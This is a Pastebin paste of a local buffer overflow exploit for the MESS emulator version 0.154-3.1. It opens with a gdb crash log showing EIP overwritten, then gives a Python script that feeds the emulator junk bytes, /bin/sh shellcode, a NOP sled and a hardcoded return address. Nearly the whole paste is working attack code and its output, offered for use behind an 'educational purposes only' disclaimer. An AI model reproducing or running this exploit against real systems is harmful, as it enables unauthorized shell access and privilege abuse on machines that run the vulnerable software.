Advertisement
1337_Brain

Mess Emulator 0.154-3.1 - Local Buffer Overflow

Apr 8th, 2016
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. # Exploit Author: Juan Sacco - http://www.exploitpack.com -
  2. # Program affected: Multi Emulator Super System (MESS)
  3. # Version: 0.154-3.1
  4. #
  5. # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
  6. #
  7. # Program description: MESS is an emulator for various consoles and
  8. computing systems, sharing a
  9. # lot of codebase with the MAME project.
  10. # Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
  11. # MD5sum: ae8650a6de842e6792ba83785ac0dbef
  12. # Website: http://mamedev.org/
  13. #
  14. # gdb$ run -gamma $(python -c 'print "\x41"*4080')
  15. # Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
  16. # [Thread debugging using libthread_db enabled]
  17. # Using host libthread_db library
  18. "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
  19. #
  20. # Program received signal SIGSEGV, Segmentation fault.
  21. #
  22. #
  23. --------------------------------------------------------------------------[regs]
  24. #
  25. # EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094 o d
  26. I t S z a p c
  27. # ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP:
  28. 0x41414141
  29. # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
  30. #
  31. #
  32. --------------------------------------------------------------------------[code]
  33. #
  34. # => 0x9684539: mov esi,DWORD PTR [ebx+0x48]
  35. # 0x968453c: lea edi,[ebp+esi*1+0x0]
  36. # 0x9684540: push edi
  37. # 0x9684541: push ebx
  38. # 0x9684542: call 0x96843b0
  39. # 0x9684547: add esp,0x10
  40. # 0x968454a: test al,al
  41. # 0x968454c: je 0x96845ad
  42. #
  43. #
  44. --------------------------------------------------------------------------------
  45. #
  46. # 0x41414141 in ?? ()
  47. #
  48. # gdb$ backtrace
  49. #
  50. # #1 0x41414141 in ?? ()
  51.  
  52. import os,subprocess
  53.  
  54. def run():
  55. try:
  56. print "# Mess Emulator Buffer Overflow by Juan Sacco"
  57. print "# This exploit is for educational purposes only"
  58. # JUNK + SHELLCODE + NOPS + EIP
  59.  
  60. junk = "\x41"*4084
  61. shellcode =
  62. "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  63. nops = "\x90"*12
  64. eip = "\xd1\xf3\xff\xbf"
  65. subprocess.call(["mess",' ', junk + shellcode + nops + eip])
  66.  
  67. except OSError as e:
  68. if e.errno == os.errno.ENOENT:
  69. print "Sorry, Mess emulator not found!"
  70. else:
  71. print "Error executing exploit"
  72. raise
  73.  
  74. def howtousage():
  75. print "Snap! Something went wrong"
  76. sys.exit(-1)
  77.  
  78. if __name__ == '__main__':
  79. try:
  80. print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
  81. print "Author: Juan Sacco"
  82. except IndexError:
  83. howtousage()
  84. run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement